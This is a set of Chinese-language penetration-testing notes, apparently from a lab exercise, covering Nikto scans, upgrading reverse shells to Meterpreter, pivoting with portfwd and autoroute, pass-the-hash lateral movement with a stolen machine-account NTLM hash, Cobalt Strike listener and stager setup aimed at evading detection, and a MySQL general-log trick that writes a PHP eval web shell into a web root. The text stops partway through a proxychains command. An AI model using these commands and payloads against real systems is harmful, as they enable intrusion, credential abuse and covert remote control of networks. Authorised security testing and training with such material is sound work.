### Nikto 使用方法

Nikto 是一款开源的 Web 服务器扫描工具,专门用于检测 Web 服务器中的安全漏洞。它可以检测常见的漏洞、配置问题、过时的软件版本等。下面是 Nikto 的基本使用方法:

#### 1. 安装 Nikto
在 Kali Linux 中,Nikto 通常已经预装。如果没有安装,可以通过以下命令安装:
sudo apt update
sudo apt install nikto


#### 2. 基本扫描命令
Nikto 的最基本用法是扫描一个目标网站:
nikto -h <target_url>

例如,扫描 `http://example.com`:
nikto -h http://example.com

这个命令将检查目标网站的常见漏洞和配置问题。

#### 3. 扫描 HTTPS 网站
如果目标网站使用 HTTPS,Nikto 会自动检测并使用 HTTPS 协议进行扫描:
nikto -h https://example.com


#### 4. 扫描特定端口
如果 Web 服务器不是运行在默认的 80 或 443 端口,你可以通过 -p 选项指定端口号。例如,扫描 8080 端口:
nikto -h http://example.com -p 8080


#### 5. 指定扫描插件
Nikto 可以通过插件来检测特定的漏洞或问题,使用 -Plugins 选项查看可用插件:
nikto -h <target_url> -Plugins


#### 6. 使用代理进行扫描
如果你希望通过代理服务器进行扫描,可以使用 -proxy 参数:
nikto -h http://example.com -proxy http://127.0.0.1:8080

这将通过本地代理(127.0.0.1:8080)扫描目标网站。

#### 7. 生成报告
Nikto 可以将扫描结果输出到文件中,支持多种格式,如 HTML、XML、CSV 等:
nikto -h http://example.com -o output.html -Format htm

这将把扫描结果保存为 HTML 格式。

#### 8. 扫描多个目标
如果你有多个目标,可以通过 -list 参数指定一个包含目标 URL 的文件,Nikto 将会对文件中的每个目标进行扫描:
nikto -h <target_list.txt>


#### 9. 检查特定漏洞
你也可以使用 -Tuning 参数来指定扫描的漏洞类型。比如,使用 -Tuning 2 来扫描服务器的技术细节信息:
nikto -h http://example.com -Tuning 2


### 示例:
1. 扫描 http://example.com 并输出为 HTML 文件:
   nikto -h http://example.com -o scan_report.html -Format htm
   


2. 使用代理服务器进行扫描:
   nikto -h http://example.com -proxy http://127.0.0.1:8080
   


3. 扫描指定端口 8080 的服务器:
   nikto -h http://example.com -p 8080
   


### 主要参数:
- `-h`:指定目标 URL 或 IP 地址。
- `-p`:指定端口。
- `-o`:指定输出文件。
- `-Format`:指定报告格式(`htm`、`csv`、`xml`等)。
- `-Tuning`:选择扫描的漏洞类型。
- `-proxy`:指定代理服务器。
- `-list`:从文件中读取多个目标。

Nikto 是一款功能强大且易于使用的工具,非常适合快速发现 Web 服务器的安全漏洞。

#Nikto #Web漏洞扫描 #KaliLinux #Web安全 #漏洞检测
curl -LO https://github.com/fatedier/frp/releases/download/v0.61.0/frp_0.61.0_linux_amd64.tar.gz

tar -zxvf frp_0.61.0_linux_amd64.tar.gz
### 升级反弹Shell为Meterpreter(`shell_to_meterpreter`)

在渗透测试过程中,有时会遇到反向Shell连接已经成功,但该Shell仍然是一个简单的命令行Shell。这时,可以使用Metasploit的 shell_to_meterpreter 这个模块将现有的Shell会话升级为Meterpreter会话,获得更强的控制权限。

### 使用 shell_to_meterpreter 升级Shell

假设您已经成功获得了一个普通的反向Shell连接,并希望将其升级为Meterpreter会话。以下是升级步骤:

#### 1. 启动 Metasploit 控制台
如果还未启动Metasploit,打开终端并启动控制台:
msfconsole


#### 2. 使用 shell_to_meterpreter 模块
Metasploit中提供了一个 shell_to_meterpreter 模块,它可以通过简单的Shell将其升级为Meterpreter。使用以下命令:
use post/multi/manage/shell_to_meterpreter


#### 3. 设置目标会话
设置要升级的会话ID。假设您已经获得了一个普通的Shell会话并且它的会话ID是 `1`,您可以使用以下命令:
set SESSION 1

确保您将 `1` 替换为实际的Shell会话ID。

#### 4. 执行升级操作
运行以下命令来执行升级:
run


该命令将尝试通过当前的Shell会话将其升级为Meterpreter会话。如果成功,您将会看到Meterpreter的交互式Shell,并且可以使用更多高级功能,如截图、键盘记录、文件系统访问等。

#### 5. 享受Meterpreter的高级功能
成功升级到Meterpreter后,您将获得更强大的控制权,可以执行各种操作,例如:
- 获取目标的系统信息 (sysinfo)
- 截图 (screenshot)
- 执行反向Shell (shell)
- 读取/写入文件系统 (download, upload)
- 执行键盘记录 (keyscan_start, keyscan_dump)
- 获取密码哈希值 (hashdump)

### 额外注意:
- **权限问题**:如果目标的Shell权限不够高(例如普通用户权限),可能会无法成功升级到Meterpreter。确保Shell具有足够的权限,或者尝试以更高权限运行该Shell。
- **攻击检测**:升级Shell到Meterpreter的过程可能会触发一些安全工具的警报,特别是在启用了入侵检测或防病毒软件的环境中。

### 其他升级方法:
如果您通过反向Shell连接并且没有权限使用`shell_to_meterpreter`,也可以尝试手动上传Metasploit生成的Meterpreter脚本,或者利用其他方式将Shell进程替换为Meterpreter进程(例如通过下载并执行Meterpreter的Payload)。

---

#Metasploit #shell_to_meterpreter #反向Shell #渗透测试 #Shell升级 #Meterpreter
### 为Meterpreter会话命名并后台管理

在渗透测试过程中,管理多个Meterpreter会话时,对会话进行命名便于快速识别和管理。以下是如何将会话设置为后台运行并进行命名的步骤。

1. **将Meterpreter会话后台化**:
- 在Meterpreter会话中,输入以下命令,将当前会话放到后台继续运行:
     background
     

- 该命令将会话发送到后台,返回Metasploit控制台,方便进一步操作和管理。

2. **查看当前会话列表**:
- 在Metasploit控制台中,使用`sessions -l`命令查看所有会话的状态和编号,以便后续命名操作。
     sessions -l
     


3. **为会话设置别名(命名)**:
- 在Metasploit 6.0及更新的版本中,可以使用`-n`参数为会话命名,以便识别。
- 通过以下命令指定会话编号和别名:
     sessions -n <别名> -i <会话ID>
     

例如:
     sessions -n "webserver_shell" -i 1
     

- 这样,可以给会话编号为`1`的会话命名为“webserver_shell”。

4. **验证会话命名**:
- 再次使用`sessions -l`命令,可以查看每个会话的别名是否已成功应用。

5. **按别名管理会话**:
- 可以直接通过会话别名来管理或重新进入指定会话。例如,输入以下命令进入命名为“webserver_shell”的会话:
     sessions -i webserver_shell
     


这样,通过为每个会话添加便于识别的名称,管理多个会话时可以快速定位和控制目标。

---

#Meterpreter #会话命名 #后台会话 #渗透测试
### 目标内网主机无法直接访问时的渗透策略

当你需要渗透的目标主机位于内网中,并且你无法直接访问时,可以通过以下几种常见的方法来实现对内网主机的访问。这些方法通常基于你已获得的其他内网主机的访问权限(如通过 Meterpreter 会话)。

### 1. 利用目标主机的网关或中转主机(跳板机)

如果你能够访问到一台在内网中的机器,且该机器可以访问目标主机,你可以通过它来进行跳板攻击。这可以通过 端口转发 来实现,具体步骤如下:

#### 1.1 使用 Meterpreter 进行端口转发(port forwarding)

如果你已经通过 Meterpreter 会话连接到了内网中的一台主机,你可以设置 端口转发**,将目标主机的服务流量通过当前会话的机器转发到你的本地机器,从而绕过内网的防火墙限制。

假设目标主机的 IP 为 `192.168.1.10`,并且你想要访问该主机的 SMB 服务(端口 445),你可以使用以下命令来设置端口转发:

```bash
meterpreter > portfwd add -l 445 -p 445 -r
192.168.1.10
```

此命令会将你本地的 445 端口流量转发到目标主机 `192.168.1.10` 的 445 端口。你现在可以从你的本地机器直接访问目标主机的 SMB 服务。

#### 1.2 **多级端口转发


如果你在内网中的机器连接到了多个目标,或有多个跳板主机,可以通过逐级转发端口来实现对目标主机的访问。例如,你可以通过一台中间主机(假设它的 IP 是 `192.168.1.2`)来转发流量。

在这种情况下,步骤如下:

1. 先在 `192.168.1.2` 上设置端口转发:
   meterpreter > portfwd add -l 4444 -p 445 -r 192.168.1.10
   


2. 然后在你本地机器上转发端口:
   meterpreter > portfwd add -l 5555 -p 4444 -r 192.168.1.2
   


此时,你可以通过连接到本地的 5555 端口访问目标主机的 SMB 服务。

### 2. 通过 VPN 或 RDP 实现远程访问

如果你的攻击工具或环境中包含了一个可以访问内网的 VPN 或 RDP 服务,可以通过这些服务来实现对内网主机的访问。

#### 2.1 利用 RDP 登录到内网主机

如果你获得了内网中某台主机的凭据(通过之前的凭据枚举等方法),你可以尝试通过 RDP(远程桌面协议) 登录到这台主机。你可以使用 RDP 客户端连接并进行后续的渗透。

#### 2.2 通过 VPN 隧道访问内网

如果你有权限连接到一个已经配置好的 VPN,可以通过 VPN 将你的机器虚拟地接入到目标内网。这将使你可以访问到内网中的其他主机,包括无法直接访问的目标主机。

### 3. 使用 `pivoting` 技术进行内网渗透

#### 3.1 利用 Meterpreter 的 `pivoting` 功能

当你获得对一台内网主机的 Meterpreter 会话时,可以使用 pivoting 技术将流量通过该主机转发到其他内部主机。Meterpreter 提供了一些命令来设置这一功能。

##### 设置 HTTP 隧道:
meterpreter > run autoroute -s 192.168.1.0/24

这个命令会将目标子网(例如 `192.168.1.0/24`)的流量通过当前的 Meterpreter 会话进行转发。

##### 设置 SOCKS5 代理:
meterpreter > run socks5a

通过设置 SOCKS5 代理,你可以将你所有的网络流量通过当前的会话传输,从而实现内网的访问。你可以配置本地的浏览器或其他工具,使用 SOCKS5 代理来访问内网中的其他主机。

#### 3.2 使用 `autoroute` 进行路由添加

autoroute 是一个 Meterpreter 后渗透模块,可以帮助你自动添加路由,从而使得你的网络流量能够通过目标主机进行传递。

你可以使用以下命令来添加目标网络路由:
meterpreter > run autoroute -p


这个命令会自动检查并添加目标网络的路由,确保你可以访问到内网的其他主机。

### 4. 使用反向代理(Reverse Proxy)

如果目标主机位于内网并且防火墙阻止了直接的访问,你还可以尝试通过反向代理技术绕过这些限制。例如,如果你能在一台内网主机上设置反向代理,可以将流量通过这台主机转发到目标主机。

### 5. 通过 SMB 进行横向渗透

如果你已经获得了某台内网主机的凭据(如 stu1$`),并且目标机器使用 SMB 协议,可以通过 **SMB 远程执行** 进行横向渗透。以下是如何利用 `psexecsmb_exec 模块进行操作:

#### 使用 psexec 模块:
meterpreter > use exploit/windows/smb/psexec
meterpreter > set RHOST <目标主机IP>
meterpreter > set SMBUser stu1$
meterpreter > set SMBPass <NTLM 哈希>
meterpreter > exploit


#### 使用 smb_exec 模块:
meterpreter > use post/windows/gather/smbexec
meterpreter > set RHOST <目标主机IP>
meterpreter > set SMBUser stu1$
meterpreter > set SMBPass <NTLM 哈希>
meterpreter > exploit


这些方法可以帮助你横向渗透到目标主机。

### 总结

- **端口转发**:通过内网中的一台主机进行端口转发,实现对其他目标主机的访问。
- **跳板主机**:利用内网中的跳板主机进行进一步渗透。
- **pivoting 技术**:使用 Meterpreter 的 autoroute 和 SOCKS5 代理功能来实现内网访问。
- **反向代理**:在内网主机上设置反向代理,实现流量转发。
- **横向渗透**:利用 SMB 等协议进行横向渗透,进一步访问内网其他主机。

通过这些方法,即使目标主机位于内网中并且不可直接访问,你依然可以借助其他内网主机、端口转发或 VPN 等手段进行渗透。

#Metasploit #Meterpreter #内网渗透 #跳板机 #端口转发 #pivoting #横向渗透 #反向代理 #SMB
### 内网域信息探测与利用 stu1$ 进行域渗透

在渗透测试中,域信息探测和利用计算机账户(如 stu1$`)进行域渗透是常见的攻击步骤。下面,我会分别讲解如何进行域信息探测以及如何利用 `stu1$ 进行域渗透。

### 1. 内网域信息探测
在对内网进行渗透时,首先需要了解目标网络的域信息,特别是关于域控制器、域名、计算机账户等。你可以通过以下方法获取内网域信息:

#### 1.1. 使用 Nmap 执行域扫描
Nmap 提供了一些脚本,可以帮助你快速探测目标网络中的域信息。以下是几种常见的 Nmap 脚本:

- 扫描域控制器**:
使用 `nmap` 的 `--script` 参数来扫描目标网络中的域控制器:
```bash
nmap -p 445 --script smb-os-fingerprint,smb-enum-domains,smb-enum-users <目标IP>
```
- `smb-enum-domains`:枚举网络中的域。
- `smb-enum-users`:枚举域中的用户账户。
- `smb-os-fingerprint`:识别目标系统的操作系统版本。

#### 1.2. **使用 SMB 扫描域信息

你可以使用 `smbclient` 工具来探测域和计算机信息。以下命令可以列出目标网络中的共享信息:
smbclient -L //<目标IP> -U <用户名>

这个命令会列出目标主机的 SMB 共享,并显示域信息。如果你没有用户名,可以尝试匿名登录:
smbclient -L //<目标IP> -U guest


#### 1.3. 使用 Enum4Linux 获取域信息
enum4linux 是一个强大的工具,用于从 Windows 主机(特别是域控制器)收集信息。你可以使用它来探测域名、域用户、计算机账户等信息:
enum4linux -a <目标IP>

该命令将显示大量的域信息,包括用户、组、计算机等。

#### 1.4. 查询域控制器的 DNS 信息
使用 nslookupdig 查询域控制器的 DNS 记录:
nslookup -type=SRV _ldap._tcp.<domain>

这将显示与目标域相关的 LDAP 服务信息,帮助你定位域控制器。

### 2. 利用 `stu1$` 进行域渗透
stu1$ 是一个计算机账户,它通常在域中代表计算机或工作站(以 $ 结尾)。利用 stu1$ 进行域渗透通常涉及使用计算机账户的 NTLM 哈希进行身份验证,尤其是在通过 Windows 域网络进行横向移动时。

#### 2.1. 理解 `stu1$` 计算机账户
计算机账户(以 $ 结尾)通常具有与域用户相同的权限,它们用于 Windows 域控制器上的身份验证。由于你已经获得了 stu1$ 计算机账户的 NTLM 哈希,你可以尝试使用它来在网络中进行身份验证或横向移动。

#### 2.2. 使用 `stu1$` 进行横向渗透
一旦你获得了 stu1$ 计算机账户的 NTLM 哈希,你可以使用工具如 psexec`、`wmiexecsmbexec 来进行横向渗透。这些工具允许你利用 NTLM 哈希进行身份验证,并在远程主机上执行命令。

- 使用 Psexec (Metasploit 的 psexec 模块)**:
```bash
use exploit/windows/smb/psexec
set RHOSTS <目标IP>
set SMBUser stu1$
set SMBPass <stu1$的NTLM哈希>
exploit
```

或者使用 `psexec.py` 工具:
```bash
python
psexec.py stu1$:<stu1$的NTLM哈希>@<目标IP>
```

这将允许你使用 `stu1$` 账户(通过其 NTLM 哈希)执行远程命令。

#### 2.3. **利用 Pass-the-Hash 进行身份验证

通过 Pass-the-Hash 攻击,使用已获取的 NTLM 哈希直接进行身份验证,而无需明文密码。你可以利用 pth 工具包(如 `impacket`)进行攻击:

impacket-psexec stu1$:<stu1$的NTLM哈希>@<目标IP>

或者使用 `pth-winexe`:
winexe -U "stu1$%<stu1$的NTLM哈希>" //<目标IP> "cmd.exe"

这样,你就能在目标主机上执行命令,并获取访问权限。

#### 2.4. 进一步利用计算机账户
如果 `stu1$` 计算机账户属于域管理员组(例如 `Domain Admins`),你可以利用它来进行更深入的渗透操作,获取更高权限的访问。

- 通过 `net group` 命令列出域管理员组:
  net group "Domain Admins" /domain
  


如果 stu1$ 计算机账户属于该组,你可以尝试通过该账户获取域管理员权限。

### 3. 总结
- **域信息探测**:通过 Nmap、enum4linux、SMB 等工具,你可以收集内网的域信息、计算机账户、共享资源等。
- **利用 stu1$ 进行域渗透**:通过 Pass-the-Hash 攻击、psexec 或 Winexe,你可以利用 stu1$ 计算机账户的 NTLM 哈希进行远程命令执行和横向渗透。

这些步骤将帮助你在内网中利用计算机账户进行有效的域渗透,进一步获得对目标网络的控制。

#域渗透 #PassTheHash #stu1$ #Metasploit #Nmap #SMB #横向渗透 #网络渗透
### Stdapi 网络命令详解

在 Metasploit 的 Stdapi: Networking Commands 模块中,提供了一些常用的网络命令,这些命令有助于渗透测试人员了解和操作目标主机的网络配置。下面是这些命令的详细解释:

#### 1. arp
- 描述**:显示主机的 ARP(地址解析协议)缓存。
- **用途**:`arp` 命令列出目标机器的 ARP 缓存,显示主机的 IP 地址与 MAC 地址映射。通过查看 ARP 缓存,可以了解目标主机最近通信过的其他设备。
- **常见用法**:
```bash
meterpreter > arp
```

#### 2. **getproxy

- 描述**:显示当前的代理配置。
- **用途**:此命令用于查看目标主机是否配置了代理服务器,如果有,它会显示代理的设置,如地址、端口等。这对于需要通过代理进行隐蔽渗透的情况非常有用。
- **常见用法**:
```bash
meterpreter > getproxy
```

#### 3. **ifconfig

- 描述**:显示所有网络接口的配置。
- **用途**:`ifconfig` 命令用于列出目标主机上所有网络接口的信息,包括 IP 地址、子网掩码、MAC 地址等。这有助于你了解目标系统的网络配置和可用的网络接口。
- **常见用法**:
```bash
meterpreter > ifconfig
```

#### 4. **ipconfig

- 描述**:显示网络接口配置信息(类似于 `ifconfig`,但通常在 Windows 系统上使用)。
- **用途**:这个命令在 Windows 系统中常用,类似于 Linux 上的 `ifconfig`。它会列出所有网络接口的 IP 地址、子网掩码和默认网关等信息。
- **常见用法**:
```bash
meterpreter > ipconfig
```

#### 5. **netstat

- 描述**:显示当前的网络连接。
- **用途**:`netstat` 命令可以显示目标系统的活动网络连接,包括 TCP 和 UDP 连接、监听的端口等。这对于识别目标主机上的开放端口、监听服务以及网络通信状态非常有用。
- **常见用法**:
```bash
meterpreter > netstat
```

#### 6. **portfwd

- 描述**:将本地端口转发到远程服务。
- **用途**:这个命令允许你将一个本地端口转发到目标主机上的某个端口。它通常用于通过目标主机访问防火墙后面的内部服务(例如目标网络中的其他主机)。
- **常见用法**:
```bash
meterpreter > portfwd add -l 8080 -p 80 -r
192.168.1.10
```
这条命令将本地机器的 8080 端口转发到目标主机(`192.168.1.10`)的 80 端口。

#### 7. **resolve

- 描述**:解析一组主机名。
- **用途**:此命令用于将主机名转换为 IP 地址(即 DNS 解析)。如果你知道目标系统的域名或主机名,可以使用此命令获取相应的 IP 地址。
- **常见用法**:
```bash
meterpreter > resolve
example.com
```

#### 8. **route

- **描述**:查看和修改路由表。
- **用途**:`route` 命令允许你查看或修改目标系统的路由表。通过修改路由表,可以改变网络流量的转发路径,通常用于绕过防火墙或将流量通过某些中间设备进行转发。
- **常见用法**:
- **查看路由表**:
       meterpreter > route
       

- **添加路由**:
       meterpreter > route add 192.168.2.0 255.255.255.0 192.168.1.1
       

这条命令将目标主机的流量通过 192.168.1.1 路由到 192.168.2.0/24 子网。

---

### 总结

这些网络命令帮助渗透测试人员在目标机器上执行一系列网络操作,从查看网络配置、扫描端口、修改路由表到通过代理转发流量,提供了强大的支持。在进行内网渗透时,合理使用这些命令可以帮助你收集网络拓扑信息、绕过防火墙、设置中继等,推动渗透过程的进一步发展。

#Metasploit #Stdapi #NetworkingCommands #渗透测试 #ARP #路由 #代理 #端口转发
Cobalt Strike 内网渗透之跨域攻击
### 为什么需要设置 HTTP Hosts 和 HTTP Host (Stager)?

在 Cobalt Strike 中,设置这两个选项是为了确保攻击者能够在不同阶段与目标机器建立稳定和安全的通信。它们的设置分别对应不同的目标和用途,具体来说,目的是优化和隐藏攻击流量,同时确保后续操作能够顺利进行。以下是为什么要这样设置的原因:

#### 1. HTTP Hosts 设置的目的
- 长期通信**:`HTTP Hosts` 是配置给 Beacon 程序的,用来在初始连接后与 Cobalt Strike C2 服务器进行长期的、安全的通信。设置这个选项是为了确保 Beacon 能够在目标系统上保持隐蔽的连接,定期回传信息、接收命令等。
- **绕过检测**:通过使用 HTTP 协议,可以绕过许多网络防火墙和检测系统。大多数防火墙和入侵检测系统(IDS)会监控 HTTP 流量,但由于 HTTP 是常见的网络协议,它被认为是合法的流量,因此更难被发现。
- **加密通信**:如果选择了 HTTPS(而不是 HTTP),那么 Beacon 和 Cobalt Strike 之间的通信是加密的,这使得攻击流量更难被分析和拦截。

**为什么设置?

因为这可以保证 Beacon 和 C2 服务器之间的通信保持隐蔽,同时能够规避常见的流量分析工具和网络防火墙。

#### 2. HTTP Host (Stager) 设置的目的
- 初次负载下载**:`HTTP Host (Stager)` 用来配置 Beacon 初次运行时,从指定的服务器下载负载(Stager)。Stager 是一个轻量级的小程序,它帮助 Beacon 在目标系统上“启动”,并与 C2 服务器建立稳定的连接。下载负载是攻击的第一步,只有成功加载了负载,Beacon 才能后续执行更多的攻击任务。
- **分阶段加载**:Stager 通常很小,快速下载并执行,一旦执行后,Beacon 会切换到一个更稳定的负载,开始使用 `HTTP Hosts` 进行更长期的通信。因此,Stager 在整个攻击链条中是至关重要的,它是引导 Beacon 启动并持续执行的关键。

**为什么设置?

因为这个设置允许攻击者先通过一个小负载启动 Beacon 程序,这个程序通常用于突破目标的初始防护(如防病毒软件、沙箱等),之后才开始与 C2 服务器建立真正的通信通道。

### 总结

1. **HTTP Hosts**:设置用于长期通信的地址,确保在目标系统上维持隐蔽的通信通道,用于执行控制命令。
2. **HTTP Host (Stager)**:设置初次下载负载的地址,帮助启动 Beacon 程序,并为后续的攻击铺平道路。

这两者的设置是为了使得攻击更加隐蔽,分阶段进行,降低被检测的风险,同时保证攻击的持续性和稳定性。

#HTTPHosts #HTTPHostStager #CobaltStrike #攻击策略 #分阶段负载 #通信
Cobalt Strike 创建监听器:HTTP Hosts 和 HTTP Host (Stager)

在 Cobalt Strike 中,`HTTP Hosts` 和 HTTP Host (Stager) 是用来配置你如何通过 HTTP 协议与目标计算机建立连接的选项。你可以把它们想象成两个不同的“门口”,其中一个是初次建立联系的入口,另一个是后续交流的常规入口。下面是用更简单的语言解释这两个选项的功能:

#### 1. **HTTP Hosts**:
- **通俗解释**:`HTTP Hosts` 就是你设置的“常规交流地址”。当目标机器上的 Beacon(你的间谍程序)成功启动并与 Cobalt Strike 的 C2 服务器建立联系后,它会使用这个地址进行长期的交流。它会定期向这个地址报告信息,接受指令,甚至执行你的攻击命令。
- **比喻**:就像你和目标机器的“通话热线”,每次你想控制目标机器时,都会通过这个地址联系它。
- **设置示例**:如果你填写了 `192.168.1.13`,Beacon 就会通过 HTTP 向这个地址回传信息、获取命令。

#### 2. **HTTP Host (Stager)**:
- **通俗解释**:`HTTP Host (Stager)` 是你配置的“初次接触地址”。当 Beacon 首次运行时,它需要从这个地址下载一个小型的“启动程序”(Stager),这个启动程序就是让 Beacon 正常工作的“钥匙”。这个小程序会让 Beacon 与 C2 服务器建立持续连接。
- **比喻**:想象一下这是一个目标机器第一次接触时的“接待处”,它会首先向这个地址请求一些启动所需要的文件,加载完成后,它会正式进入到与 C2 服务器的长期通信阶段。
- **设置示例**:如果你设置了 `192.168.1.13/stager`,Beacon 在首次运行时就会向这个地址请求下载启动程序。

### 总结
- `HTTP Hosts` 是后续通信的地址,Beacon 在建立连接后会长期使用它。
- HTTP Host (Stager) 是 Beacon 第一次启动时用来下载启动程序的地址。

#HTTPHosts #HTTPHostStager #CobaltStrike #Beacon #通俗解释
### 删除 Metasploit 中指定的 Hosts、Vulns 和 Services

如果你想删除特定的主机、服务或漏洞记录,可以按照以下步骤进行操作:

#### 1. 删除指定的 Host
删除指定的主机时,需要先知道主机的 IP 地址。假设你要删除 IP 为 192.168.1.10 的主机,可以使用以下命令:

hosts -d 192.168.1.10


这将删除 IP 为 192.168.1.10 的主机记录。

#### 2. 删除指定的 Service
如果你想删除某个主机的特定服务,例如 192.168.1.10 上的 80/tcp 服务,可以使用以下命令:

services -d 192.168.1.10 80


这将删除 192.168.1.10 上的 80/tcp 服务。

#### 3. 删除指定的 Vulnerability
要删除特定漏洞记录,首先你需要知道漏洞的 ID 或相关信息。假设你想删除 MS17-010 漏洞,你可以使用以下命令:

vulns -d MS17-010


或者,直接删除某个特定主机上的漏洞(如 `192.168.1.10`):

vulns -d 192.168.1.10


#### 总结:
- `hosts -d <ip>`**:删除指定 IP 的主机记录。
-
`services -d <ip> <port>`:删除指定 IP 和端口的服务记录。
-
`vulns -d <vuln_id>`:删除指定漏洞记录(如 `MS17-010`)。
-
`vulns -d <ip>`**:删除指定 IP 上的漏洞记录。

### 示例:
如果你要删除 `192.168.1.10` 上的 80/tcp 服务和 MS17-010 漏洞,可以执行以下命令:

services -d 192.168.1.10 80
vulns -d MS17-010


这些命令会清除指定的记录。

#Metasploit #删除指定 #hosts #services #vulns #记录
### 清空 Metasploit 中的 Hosts、Vulns 和 Services

在 Metasploit 中,可以使用命令清空数据库中的相关记录,包括 Hosts、Vulns 和 Services。你遇到的问题是使用 db_remove 命令时没有正确删除对应的记录。以下是正确的操作步骤:

#### 1. 清空 Hosts
要清空工作区中的所有主机,可以使用以下命令:

hosts -d all


这将删除所有在当前工作区中的主机记录。

#### 2. 清空 Services
要删除与主机相关的服务信息,你可以使用:

services -d all


这会删除当前工作区中所有主机的服务记录。

#### 3. 清空 Vulns
要删除与主机相关的所有漏洞信息,可以使用:

vulns -d all


这将清除所有漏洞信息。

### 总结:
1. `hosts -d all`**:删除所有主机。
2.
services -d all:删除所有服务信息。
3.
vulns -d all**:删除所有漏洞信息。

### 示例:
如果你想清空所有主机、服务和漏洞记录,可以执行以下命令:

hosts -d all
services -d all
vulns -d all


这样,你的 Metasploit 数据库就会清空这些记录。

#Metasploit #清空 #hosts #vulns #services #数据库
### PowerShell 和 CMD 中分别杀死 frpc.exe 进程

在 Windows 中,`frpc.exe` 可能是你正在运行的 FRP (Fast Reverse Proxy) 客户端。你可以通过 PowerShell 或 CMD 来结束该进程。

#### 1. 使用 PowerShell 杀死 `frpc.exe` 进程
在 PowerShell 中,你可以使用 Stop-Process 命令来结束指定的进程。

Stop-Process -Name frpc -Force


#### 2. 使用 CMD 杀死 `frpc.exe` 进程
在 CMD 中,你可以使用 taskkill 命令来终止进程。

taskkill /IM frpc.exe /F


#### 参数说明:
- `Stop-Process -Name frpc -Force`**:PowerShell 命令,`-Name` 指定进程名,`-Force` 强制结束进程。
-
taskkill /IM frpc.exe /F:CMD 命令,`/IM` 指定进程名,`/F` 强制杀死进程。

### 示例:
1. **PowerShell 示例:

   Stop-Process -Name frpc -Force
   


2. CMD 示例:
   taskkill /IM frpc.exe /F
   


这两种方法都能有效地停止 frpc.exe 进程,选择适合你环境的命令即可。

#PowerShell #CMD #kill进程 #frpc #任务管理
利用MySQL一般日志写入木马:
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/php.log';
select '<?php @eval($_POST["cmd"]); ?>';
#日志 #MySQL
### Metasploit 中的工作区管理

在 Metasploit 中,工作区(workspace)用于将不同的渗透测试活动和数据隔离。你可以使用以下命令来查看、创建、切换和删除工作区:

1. **查看当前工作区**:
要查看当前活跃的工作区,使用以下命令:
   msf6 > workspace
   

该命令会列出所有现有的工作区,并标明当前使用的工作区。

2. **进入(切换)工作区**:
若要切换到另一个工作区,可以使用以下命令:
   msf6 > workspace -a <workspace_name>
   

其中,`<workspace_name>` 是你想进入的工作区名称。如果工作区不存在,Metasploit 会自动创建一个新的工作区。

3. **创建新工作区**:
要创建一个新的工作区,可以使用:
   msf6 > workspace -a <new_workspace_name>
   

该命令会创建并切换到新工作区。

4. **删除工作区**:
如果你想删除一个工作区,可以使用以下命令:
   msf6 > workspace -d <workspace_name>
   

请注意,删除工作区会清除与该工作区相关的数据,因此请谨慎操作。

5. **查看所有工作区**:
使用以下命令查看当前所有的工作区:
   msf6 > workspace
   


### 示例:
假设你想切换到一个名为 `test_workspace` 的工作区,可以运行:
msf6 > workspace -a test_workspace


要删除一个名为 old_workspace 的工作区,可以使用:
msf6 > workspace -d old_workspace


这些操作使你能够高效管理渗透测试过程中的不同任务和数据。

#Metasploit #工作区 #workspace #管理
### 🌐 内网渗透场景概述

#### 1. 网络环境
- 双网卡 Web 服务器**:
- 连接外网和内网,作为外网入口。
- **若干内网主机**:
- 处于不同域中,无法直接访问外网。

#### **2. 当前权限

- 已通过 getshell 获取 Web 服务器权限,并通过 蚁剑 连接。

#### 3. 渗透目标
- 进一步渗透内网主机。
- 通过 Web 服务器的双网卡访问内网资源。
- 在外网 Kali 攻击机上使用 Cobalt StrikeMetasploit 进行渗透。

---

### 🛠 渗透步骤总结

#### 方案一:Cobalt Strike(CS)渗透
1. 设置 CS 监听器**(反向 HTTP Beacon)。
2. **上传 Beacon 到 Web 服务器**,通过蚁剑执行。
3. **获取 Beacon 会话**,在 CS 中启动 **Socks5 代理**。
4. 使用 `proxychains` 在 Kali 上进行 **内网扫描
横向渗透**。

#### **方案二:Metasploit(MSF)渗透

1. 生成 Meterpreter Payload**,并通过蚁剑上传到 Web 服务器执行。
2. **捕获 Meterpreter 会话**,使用 `portfwd` 转发内网端口。
3. 启用 **Socks4 代理**,使用 `autoroute` 扩展内网访问能力。
4. 利用 `proxychains` 进行 **内网扫描
漏洞利用(如 MS17-010)**。

---

### 🔑 关键要点
- 利用 **双网卡 Web 服务器
作为跳板。
- 结合 Socks 代理 和 **proxychains**,实现 Kali 与内网的通信。
- 使用 CS 和 MSF 的代理功能,实现内网横向渗透和权限提升。

---

### 关键词
#内网渗透 #双网卡服务器 #CobaltStrike #Metasploit #Socks代理 #横向渗透 #蚁剑
### 🛠 双网卡环境内网渗透方案(基于 Cobalt Strike 与 Metasploit)

在你当前的网络环境中,双网卡 Web 服务器充当了一个桥梁,连接了外网与内网。你已经通过 getshell 获取了 Web 服务器的权限,并通过蚁剑进行连接。接下来,我们将探讨如何使用 Cobalt Strike(CS)Metasploit(MSF) 进行进一步的内网渗透。下面提供了基于两种工具的详细步骤。

---

## 🌐 一、使用 Cobalt Strike 进行内网渗透

### 1. 设置 CS 监听器(Listener)
首先,需要在你当前的 Kali 上设置一个 CS 监听器,用于与目标服务器建立连接。

- 步骤**:
1. 打开 Cobalt Strike 客户端,连接到你的 CS Team Server。
2. 导航到 **Cobalt Strike -> Listeners**,点击 **Add**。
3. 配置监听器:
- **Payload
: windows/beacon_http/reverse_http
- Host: 你的 Kali IP 地址(公网或 VPS IP)
- Port: 80(或其他常用端口)
4. 点击 Save 以创建监听器。

### 2. 上传 CS 的 Beacon 到 Web 服务器
你已经通过蚁剑连接到 Web 服务器,接下来可以上传 CS 的 Beacon。

- 步骤**:
1. 在 CS 中生成 Payload:
- 导航到 **Attacks -> Packages -> Windows Executable (S)

- 选择刚刚创建的监听器,生成一个 .exe.dll 文件。
2. 使用蚁剑将生成的文件上传到 Web 服务器上,并通过命令执行它:
      shell:cmd.exe /c beacon.exe
      

3. 如果成功运行,CS 中会显示一个新的 Beacon 连接。

### 3. 配置 Socks Proxy 以渗透内网
为了通过 Web 服务器进一步渗透内网主机,可以利用 CS 的 Socks Proxy 功能。

- 步骤**:
1. 在 CS 中选择连接的 Beacon。
2. 右键 -> **Explore -> Socks Server**,启动 `Socks5` 代理(默认端口 `1080`)。
3. 在 Kali 上配置代理工具(如 `proxychains`),将其流量导向 CS 的 Socks 代理:
```bash
echo "socks5
